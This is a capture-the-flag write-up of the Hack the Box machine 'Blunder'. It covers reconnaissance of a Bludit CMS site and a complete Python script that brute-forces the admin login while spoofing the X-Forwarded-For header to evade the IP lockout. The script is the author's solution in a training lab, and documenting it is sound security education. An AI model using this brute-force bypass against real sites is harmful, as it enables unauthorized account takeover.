Hack the Box: Blunder

Hack the Box: Blunder#

Blunder was an easy machine on Hack the Box. Here’s my take on solving the challenge

User#

According to nmap, the webserver should be the only attack surface:

Nmap scan

There seems to be some kind of blog on the site

Admin section suggests it’s Bludit CMS:

Addtionaly, source reveals CMS version:

It’s a version known to have a authenticated RCE vulnerability . In order to exploit it, one needs to get login credentials first.

The login panel is protected against bruteforcing creds and after few tries bans attacker based on their ip:

Fortunantely there’s a known bypass to this mechanism. The backend allows to override the ip by setting the X-Forwarded-For header. The CVE author also created a PoC script. After a few adjustments it was ready to use on the machine:

#!/usr/bin/env python3

import re
import requests

host = 'http://10.10.10.191'
login_url = host + '/admin/login'
username = 'admin'
wordlist = []

proxies={
	'http': '127.0.0.1:8080'
}

with open("/usr/share/wordlists/rockyou.txt", "r") as wordlist:
	for password in wordlist:
		password = password.rstrip()
		session = requests.Session()
		login_page = session.get(login_url)
		csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"', login_page.text).group(1)

		print('[*] Trying: {p}'.format(p = password))

		headers = {
			'X-Forwarded-For': password,
			'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36',
			'Referer': login_url
		}

		data = {
			'tokenCSRF': csrf_token,
			'username': username,
			'password': password,
			'save': ''
		}

		login_result = session.post(login_url, headers = headers, data = data, allow_redirects = False, proxies=proxies)
		
		#print(login_result)

		if 'location' in login_result.headers:
			if '/admin/dashboard' in login_result.headers['location']:
				print()
				print('SUCCESS: Password found!')
				print('Use {u}:{p} to login.'.format(u = username, p = password))
				print()
				break